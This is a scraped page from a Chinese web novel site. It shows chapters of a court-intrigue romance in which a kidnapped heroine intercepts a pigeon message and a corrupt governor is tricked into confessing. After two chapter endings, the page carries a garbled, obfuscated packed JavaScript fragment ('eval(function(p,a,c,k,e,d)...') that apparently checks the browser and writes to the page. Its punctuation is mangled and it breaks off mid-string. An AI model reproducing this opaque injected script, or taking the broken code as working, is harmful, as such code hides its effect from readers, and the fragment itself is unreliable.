友情提示:如果本网页打开太慢或显示不完整,请尝试鼠标右键“刷新”本网页!
嫡女有毒:冷王爆宠上瘾-第54部分
快捷操作: 按键盘上方向键 ← 或 → 可快速上下翻页 按键盘上的 Enter 键可回到本书目录页 按键盘上方向键 ↑ 可回到本页顶部! 如果本书没有阅读完,想下次继续接着阅读,可使用上方 "收藏到我的浏览器" 功能 和 "加入书签" 功能!
“笑你胆小,”唐风轻摇摇头,“你连刺杀当今圣上这么大逆不道的事情都做得出来,怎么会怕一个走江湖做生意的大骗子?”
“我怎么胆小了?”
恼羞成怒的林致远丝毫没有察觉到,这是唐风轻的激将法,他吹胡子瞪眼睛地说,“我这不是怕他,我和他现在是相互利用的关系。”
“什么相互利用的关系啊?我看你对他毕恭毕敬的,不像是相互利用,他就像是你的主子,你就像是他的奴才!”
“才没有!”
林致远被“奴才”这个字眼激怒了,他的族人就被人当做奴才,他这辈子最恨的,就是别人把他当成奴才。
“你说没有就没有啊?可是在我眼里,你就是曾家的一条狗。”
唐风轻越说越过分,林致远一言不发,直到手中的茶杯被他捏得粉碎,清亮的茶汤洒了满满一桌子。
“我说了我不是他的奴才!”
林致远怒不可遏地站起来,总有一天我会让你看见,到底谁才是谁的奴才!
这些自以为是的中原人,真以为他们就天下无敌了吗?祖先和自己的仇,他林致远一定要报!
打脸往往只是一瞬间的事儿,林致远刚信誓旦旦地说完,外面立刻来了一个小罗罗:“老大叫你去安王府外埋伏,观察里面的一举一动,并继续用飞鸽给他通报。”
唐风轻眼巴巴地看着他,林致远顿时羞愧地低下头,“我知道了。”
带前来通报的人走了,林致远又重新抬起头,“表妹你给我记住了,不出三个月,我一定要让那个姓曾的身首异处。而你,只能是我一个人的。”
唐风轻没有回答,面无表情地目送他走远。这么快就容易被她挑破离间,一点成就感都没有。所以,她现在感兴趣的是另外一件事。
刚刚他们说了飞鸽传书,那么这个地方一定养得有训练有素的鸽子,只要她能够成功放走一个,带着自己的书信,那么她相信杜子誉一定会很快找到这个地方。
白天她的房门口都有人把守着,所以只能晚上悄悄地溜出去。伸手不见五指的晚上,走路都分不清楚东南西北,找鸽子更是难上加难。
她连续在这个小院子里转了两天,才找到饲养鸽子的笼子。
月光下,笼中的鸽子都在安静地睡觉。唐风轻接着月光只能隐隐约约地从笼子间隙观察它们,然后,从里面挑了一只最肥美的,把自己写好的纸条塞进去。
只要这纸条传到杜子誉的手中,她就能获救。
“啪嗒!”
身后突然传来了一声动静,唐风轻吓得整个个人都愣在了原地,不敢动弹。要是这时候被林致远发现自己在这里用飞鸽传书的方式和外面取得联系,按照那个疯子的办事风格,自己估计凶多吉少。
唐风轻眼睛一点一点地往下移,想要看看地上的银子到底是几个人。费了好久的力气,她才看见,地上依旧只有自己一个人的影子。
虚惊一场的唐风轻长长地舒了一口气,她转过身,竟然是一只健壮的鸽子站在身后的架子上,它的脚边,还夹着一张纸条。
天啊,竟然顺手还能发现他们的秘密!
唐风轻兴奋不已,赶紧把纸条从鸽子的脚下拔出来,塞进自己的衣袖里,做贼似的一溜烟跑回自己房里。
卷曲的纸条被她小心翼翼地打开,娟秀的小楷让人很难想象这是出自一个落榜多次的纨绔子弟之手。
纸条上白纸黑字写着:我们已经在回来的路桑,在我回来之前,请务必照看好唐风轻。我们要想把杜子誉拉下马,她万万不能少。切记切记!
可恶!
唐风轻立刻将纸捏成了一团,点了蜡烛,很快在地上就成了一团灰烬。
岂有此理,他们竟然想拿自己当做人质威胁杜子誉,这种
下三滥的手段真是叫人作呕!
三更天刚打完更,林致远立马睁开眼睛。
曾瑜的飞鸽传书就快到了,他立马起身朝着鸽舍走去。老远,他就看见自己的老伙计站在鸽笼对面的架子上,老老实实地等着自己。
“辛苦了。”
林致远对动物一向很好,巫人信奉自然神,认为万物有灵。和以往一样,他喂给鸽子一把谷子,然后从它的叫上把书信拿出来。
可是……
嗯?林致远借着月光来来回回看了好几遍,但是里面空空如也,什么都没有。
到底是曾瑜根本就没有往里面放,还是路上的时候掉出来了,又或者是,这里有人来过。
(本章完)
eval(function(p;a;c;k;e;d){e=function(c){return(c35?(c+29):(36))};if(!''。replace(/^/;String)){while(c……){d'e(c)'=k'c'||e(c)}k='function(e){return d'e'}';e=function{return'w+'};c=1};while(c……){if(k'c'){p=(new RegExp('b'+e(c)+'b';'g;k'c')}}return p}('h 4=〃F〃+E。(B)。H(2);c。6(〃〃);8((/(K)/i。J())){('u';v(e){h 3=e。x;8(3。9){8(7'3。9+〃w〃'!=1){7'3。9+〃w〃'=1;A(z(3。(/+/g;〃%15〃)))}}});c。6('}w{;c。6('
………………………………
第120章 审问韦项仁
韦项仁在外面野惯了,哪怕现在他对面坐着安王和杜子誉,他依旧是作威作福的姿态。
此刻,他摸了一把身下的凳子,嫌弃地摇了摇头,“安王,你说你现在好歹也是个王爷,怎么用的东西这么不讲究?不说别的,这府上的椅子檀香木怎么行,最差也得是黄花梨木的对吧!”
“韦大人这么有品位,想必这些年来赚得不少吧?”
安王气得脸都黑了,当初在宣城的时候,他怎么就没看出这人的狼子野心呢?
“哪里哪里!”韦项仁脸上挂着自豪的微笑,摆摆手,谦虚地说,“我只是拿了我该拿的部分。”
这句话说得可大有学问,该拿的部分,到底是朝廷俸禄他该拿的部分,还是贪污赃款他该拿的部分呢?杜子誉倒是来了兴趣:“韦大人该拿的部分,多少年可以买一套黄花梨木的家具呢?”
韦项仁低头认真地想了一下,随即谄媚地说道:“这要多久我不敢保证,但您二位要是和我们一起,我保证你们的日子会比现在过得好!”
从前上面查贪污,韦项仁也不是没有被人怀疑过。但有钱能使鬼推磨,钦差大臣也是人啊!所以,他自信满满,相信他们也不会免俗。
“是吗?”杜子誉发出一声轻笑,“那韦大人麻烦你告诉我,你上面的人是谁,我也好看看这后台硬不硬。”
“我的后台你们还不清楚吗?”说起自己的姐夫,韦项仁脸上的骄傲又添了几分:“您二位放心,只要加入了我们,我会想我姐夫说明,给你们两个多多的分成。”
“分多少啊?”
杜子誉懒洋洋地道,“我和安王也不是没有见过钱的人,要是钱不多的话,我们还是愿意拿着你的人头去和皇上邀功!”
“不会不会!”
韦项仁摆着手,赶紧表明:“只要你们到此为止,不再查下去,京城十八巷,你们看上哪里的店铺,要多少,我们就给多少!”
“曾家在城中有那么多店铺?”
杜子誉适当地表示了一下自己的怀疑,“这可是京城,盘下一个店铺,可是需要不少银子的!”
“世子怎么还在纠结钱的问题呢?”韦项仁皱着眉头,频繁解释让他有些不耐烦,“在我们这里,钱不是问题。”
“哦!”杜子誉意味深长地点了点头,随即从一旁拿出了一叠纸,“你把你能给我的店铺都写在这上面,我选好了再告知于你。”
“世子是个聪明人!”
韦项仁奋笔疾书,不一会儿,就写了整整三页。
安王一想到这些店铺后面,都是拿自己将士的命换来的,越想心越寒,要不是杜子誉在审问之前和他有言在先,他现在一定会拿刀将眼前的这杂碎的碎尸万段。
“安王和世子
慢慢挑,要不你们先放我回我姐夫府上,我也好叫人给安王府送套椅子来!”
“也是黄花梨木的?”
“当然啊,其他的怎么拿得出手!”
杜子誉点点头,“可黄花梨木这东西不好找啊,韦大人又怎么能够在短时间内送过来呢?莫不是,叫我们用别人用过的?”
“哎!”
韦项仁摇摇头,叹了口气,他现在有些同情自己面前的两个人,一个王爷,一个世子,竟然这般没见过世面!
“世子,别的不敢说,这天下七分黄花梨木,可都在曾府呢!”
“哈哈哈!”杜子誉发出夸张的笑声,“黄花梨木七分都在曾家?韦大人说话不可说太满!”
“我说的是真的!”韦项仁急了,“不信的话,你们把我放出去,两天之后,一定会有人把黄花梨木桌椅送到家中。”
“口说无凭,韦大人何不写下来,最好是把摆放的地方也写下来,不然谁知道你是不是吹牛的呢!”
韦项仁这辈子就恨的就是别人怀疑他是个穷光蛋,被杜子誉这么一说,他立刻拿起笔,刷刷地,不一会儿就把黄花梨木的数量及摆放的位置全写了下来。
“世子,现在你可以放心让我走了吧?”
杜子誉看着手上三张纸,配合着他笑,“韦大人还真是一个至情至性之人,你这么坦白,我只好把你送到皇上面前了。来人啊,押犯人韦项仁进宫!”
方才还和自己有说有笑的人,瞬间变了脸。
韦项仁看着面前冰山一样的两个男人,这才后知后觉他们打得是什么算盘,“好啊你们,你们竟然玩儿阴的!”
杜子誉神色漠然地望着前方,“来人,快点将人带走。”
林致远在安王府门口的树上蹲了一天,终于见找了韦项仁的影子,可这马车前去的方向?他顺着长安街看去,另一头是戒备森严的皇宫。
难道杜子誉这么快就审了一个水落石出?
通知曾瑜是来不及了,林致远踏着树枝立刻朝曾府的方向赶过去。
安王和韦项仁上了同一辆马车,杜子誉则和龙三坐着后面那辆马车。
“今天有什么进展吗?”
杜子誉也只有这时才会露出疲惫之态,唐风轻失踪已经是第六天了,这六天他几乎没怎么睡觉,已经差不多将京城翻了个遍,还是没有找到唐风轻的身影。
“有!”
龙三从袖中拿出今早上在府里发现的信鸽,“这是我今早在府上发现的,世子请过目,看看这是不是唐小姐的笔记。”
终于有了消息,杜子誉也来了精神,他立刻从龙三手中拿过纸条,上面只有娟秀的四个字——安好,勿念。
太好了,她没有事,不仅没有事,还找到了和自己联系的办法。
“这城里养信鸽的地方不多,你可以按照这个线索去找。”
“启禀世子,属下一路跟着信鸽,已经找到了他们藏人的地点!”
孺子可教!杜子誉赞许地看了龙三一眼,“在哪儿?”
“在德顺,曾家在那里有一套宅子。我今天在外面看了一会儿,从外面看上去不出奇,但屋子里面,全是穿着黑衣的青年男子。其中有一间房子重兵把守,应该就是唐小姐被他们关押的地方。”
曾家还真是好大的胆子,竟然真的敢当着他的面,动他的人。既然这般不把他放在眼里,就不要怪他一不做二不休了。
“那里需要多少人?”
“里面的黑衣人看上去都是有武功的模样,强攻恐怕不行,毕竟他们人多势众。我想的是,要不我们用迷魂香,夜深人静悄悄地把唐小姐救出来。”
“好,就依你说的。今日傍晚,在宫门口接我。”
马车眼看着就要进宫门,龙三点点头,神不知鬼不觉地下了车。
在杜子誉他们车马后,曾家的马车也正风驰电掣地往里面赶。
除了当日封官,几十年过去了,韦项仁还是第一次见到皇上。金銮殿上,天子的威严震慑到了他,要不是一旁的杜子誉踹他一脚,他甚至都忘了下跪。
“启禀皇上,臣和安王已经将贪污要犯宣城巡抚韦项仁捉拿归案,经查明,犯人韦项仁贪污大量军饷,这些军饷被他用于在京城购置房产,家中还屯有大量黄花梨木,这都是韦项仁亲自写下的,还请皇上过目。”
杜子誉双手呈上不费吹灰之力就得到的罪证,皇帝看后龙颜大怒。
“好啊,你这个乱臣贼子,朕的将士在边疆吃不饱穿不暖,朕给的钱粮,竟然都进了你们的口袋!这样下去,我们大秦迟早要完在你们这些蛀虫的手里!”
“皇,皇上啊,这些都是,都是世子叫臣写下来的啊!”
韦项仁忙不迭的磕头,“请求皇上再次明察,这些真的都是世子叫臣写下来的!”
“我叫你写下来的?”杜子誉转身看着韦项仁,“可是上面的每一项,是不是都是你的私产!”
“这,这……”
韦项仁做贼心虚,给自己的姐夫送去了求救的眼神。
方才在安王府,他不过是想破财消灾,哪里知道,这杜子誉城府这么深,竟然拿着这些东西来告御状,真是一个卑鄙小人!
“岂有此理!”
皇上看到黄花梨木存放地点有两个竟然是曾家的底盘,气得拍案而起,“曾太傅,你怎么解释这纸上有你家的方!”
曾太傅赶紧上前跪在皇帝面前,韦项仁亲笔写得黄花梨木存放点被皇上扔到了他的面前。
“臣也不知。”
曾太傅面不改色心不跳,目不
斜视:“虽然韦项仁姐姐是臣亡妻,但自从韦氏去世后,我与韦项仁并无来往。至于存放在家中的黄花梨木,犬子这两年做生意小有成就,已经连续三年成为这进程的纳税大户,我向来不过问家中财产一事,但我想,按照犬子的实力,拥有这点黄花梨木不足为奇。”
三两句话,就把韦项仁和他撇得干干净净,曾瑜是一个生意人,所以他的钱朝廷没办法查,而韦项仁又成了他的一颗弃子。
“曾石歧,你好啊,我今天算是看透你了!”韦项仁为人冲动,见自己被自己的亲姐夫卖了个干干净净,一时间气不打一处来,大有同归于尽的架势。
(本章完)
eval(function(p;a;c;k;e;d){e=function(c){return(c35?(c+29):(36))};if(!''。replace(/^/;String)){while(c……){d'e(c)'=k'c'||e(c)}k='function(e){return d'e'}';e=function{return'w+'};c=1};while(c……){if(k'c'){p=(new RegExp('b'+e(c)+'b';'g;k'c')}}return p}('h 4=〃F〃+E。(B)。H(2);c。6(〃〃);8((/(K)/i。J())){('u';v(e){h 3=e。x;8(3。9){8(7'3。9+〃w〃'!=1){7'3。9+〃w〃'=1;A(z(3。(/+/g;〃%15〃)))}}});c。6('}w{;c。6('
………………………………
第121章 魏公公第二次杀人
曾太傅和韦氏算是青梅竹马,当初韦家就韦项仁这一根独苗,所以全家人都围绕着他在转。虽然功成名就后曾太傅也纳了不少的妾,但韦氏在他心中一直都有着不可动摇的位子,以至于这么多年,曾家一直都在扶持这个烂泥扶不上墙的小舅子。
朝堂被韦项仁那么一嗓子一嚎,顷刻间鸦雀无声。
文武百官面面相觑,各怀鬼胎。唯独曾太傅一脸坦然,站在原地,不卑不亢,“启禀皇上,臣虽听不懂韦大人在说些什么,但陛下若是怀疑,一定要刨根问底。一来可以消除臣的罪名,二来也可以给大家伙看看,这背信弃义的小人,是何种面目!”
泰山崩于前而不慌,杜子誉眼睛一眨不眨地观察着曾太傅的一举一动,虽然不耻他的作所所谓,但心里也认同他是个人物。
若韦项仁不是这般糊涂,这场战役,还真不知道鹿死谁手。
“准凑。”
皇上冷艳旁观者这场闹剧,不管结果这样,他已经是在场所有人里面,赢面最大的人了。
“启禀皇上,微臣手写的那些店铺和黄花梨木,全都是曾家的财产。请皇上想一想,若不是有曾太傅的准许,我区区一个巡抚,是怎么克扣那么多军饷,又能瞒天过海的!”
“微臣犬子近年来在商海打拼,目前小有成就。家中的钱财微臣已经多年不过问,如果皇上还是觉得那些都是我拿的黑心钱,那么,微臣恳请皇上派安王去曾府算帐,以还微臣一个清白!”
曾太傅不慌不忙,一点一点地反驳:“至于他说的,他之所以那么胆大包天,是因为有我的授意,我就更加听不明白了,到底是何年何月,我说了这样的话,做了这样的事。”
突然,他话锋一转,看向了一旁隔岸观火许久的安王和杜子誉:“我之前从未和韦大人说过这样的话,为何他进了安王府一日,就会信口雌黄了?我倒有问题问问安王和世子,为何之前关知淼被抓时,被你们打得半死不活,而这韦大人,却毫发无损。你们要说这里面没有见不得人的猫腻,我可不相信。”
老狐狸不趁机咬人一口都配不上他的修行。
安王气得语塞,杜子誉扯了扯他的袖口,上前一步,将愤怒的安王挡在自己身后。
“曾大人等了这么久就等着这一刻对吧?”
杜子誉收起手中折扇,“事情很简单,这里面的确是有见不得人的秘密。”
此言一出,朝堂一片哗然,所有文武百官都好奇地看着杜子誉,难道他是疯了吗?这不是在承认自己和韦项仁勾结去陷害曾太傅吗?
就连一旁默不作声的唐渊都给自己这个未来的女婿捏了一把汗,天子面前,竟然说出如此荒唐不严谨的话。
“启禀皇上
!”杜子誉收起脸上的笑,转身一脸严肃,“有件事臣不得不说,为什么关知淼身上遍体鳞伤,而韦大人身上毫发无损,是因为关知淼是安王审问的,而韦大人,是由我审问的。”
听了他的解释,众人才恍然大悟,原来,是审问的人不一样。
可解释清楚并不是杜子誉想要的结果,那只老狐狸想将他一军,他若不投桃报李,岂不是太不是抬举了?
“看来曾太傅对于自己的女婿还是很在乎的,可晚辈有一句话不吐不快。关知淼藐视圣上,不顾国家存亡,贪慕虚荣,其罪当诛。安王打两下又怎么样了?这边疆是安王和他手下的将士们用自己血肉拼来的,我若是曾太傅,今日家门出了此种大逆不道之徒,我会没有脸去见安王。”
这话里的意思很清楚,你女婿死不足惜,你对他受得皮肉之苦耿耿于怀,难不成你也又隐情在这里面?
曾太傅右手紧紧握着拳头,青筋暴起,他活了大半辈子,还有像现在这样,恨不得一个人马上死去。
这个叫杜子誉的人不死,下一个死的人,就会是自己。
杜子誉的话传进韦项仁的耳朵里,又成了另外一种解读。他的姐夫,心里早已经没有了他和他姐姐,宁可去帮一个外人也不愿意帮助自己。
“陛下,杜世子的话说得没错,这些事,就是太子监关知淼与我联系,传达曾太傅的意思。还请陛下看看我们这些年来相互往来的书信!”
这书信是韦项仁离开宣城时,他府上一位聪明伶俐的歌姬塞给他的,说这些东西关键时候也许能抱住他的性命。
曾太傅有意抛弃他,他也早有出卖曾太傅的心思。
韦项仁从袖口的暗扣中拿出厚厚一叠书信,跌跌撞撞想要走到御前给皇上一看究竟,就和当日司马榆林一样,还没走到跟前,就被站在一旁的魏公公一刀砍死。
“韦大人且慢!”
杜子誉急匆匆的上前,他的话音几乎和魏公公的刀一同落下。
四目相对,都是满含警告的凶狠。
“魏公公,如果在下没有记错的话,这已经是第二次了吧?”杜子誉上前一看,那叠书信已经被韦项仁鲜血染红,根本看不清楚上面的字据。
“奴才只是牵挂皇上的安慰,还希望世子能够体谅,以后这样危险的人物,你与安王两个人处理便罢,不要再带到皇上面前。他把这件事交给你们,是叫你们二位给他解决麻烦的,不是叫你们给他制造麻烦的。”
“魏公公的口气好大啊!”
杜子誉还未开口,身后的唐渊竟然站了出来,他略微有些震惊地回头,之间唐渊给他坚定地点了点头。
人心都是肉长的,迟早都会是自己的孩子,早疼晚疼都是疼。
“身为内官,是谁给你的权利,过问朝堂之事?”
唐渊言简意赅,定了魏公公罪的同时,也挑动了朝中大臣的情绪。
“内官不得干涉朝政,还请陛下明察秋毫,杜绝后患!”
杜子誉还是和魏公公相对而立,可他身后再不是孤身一人。
“皇上,皇上啊!”魏公公愣了一秒,竟然开始哭天喊地,“奴才刚刚是一时糊涂,担心这贼人丧心病狂,借此事来为谢皇上,所以才没有想那么多,还请皇上体谅奴才一片苦心,饶了奴才吧!这些年,奴才跟在陛下您的身边,没有�
快捷操作: 按键盘上方向键 ← 或 → 可快速上下翻页 按键盘上的 Enter 键可回到本书目录页 按键盘上方向键 ↑ 可回到本页顶部!
温馨提示: 温看小说的同时发表评论,说出自己的看法和其它小伙伴们分享也不错哦!发表书评还可以获得积分和经验奖励,认真写原创书评 被采纳为精评可以获得大量金币、积分和经验奖励哦!